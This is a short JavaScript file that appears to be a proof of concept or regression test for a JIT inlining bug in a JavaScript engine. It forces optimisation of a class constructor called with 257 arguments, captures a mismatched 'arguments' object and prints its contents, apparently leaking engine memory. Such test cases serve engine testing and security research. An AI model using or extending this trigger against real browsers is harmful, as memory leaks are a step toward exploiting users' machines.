const kArgsLength = 0x101; let buggy = null; function inlineFunc() { if (arguments.length != kArgsLength) { buggy = arguments; } } class ClassForInine extends inlineFunc { } function sleep(ms) { let start = new Date(); while (new Date() - start < ms); } function main() { let args = new Array(kArgsLength); args.fill(333 + 1); args = args.join(', '); let opt = new Function(`(() => { new ClassForInine(${args}); })();`); for (let i = 0; i < 0x100000; i++) { opt(); if (i === 0x3000) sleep(1000); if (buggy) { print('buggy.length: ' + buggy.length); break; } } for (let i = 0, n = buggy.length; i < n; i++) { print(buggy[i]); } } main();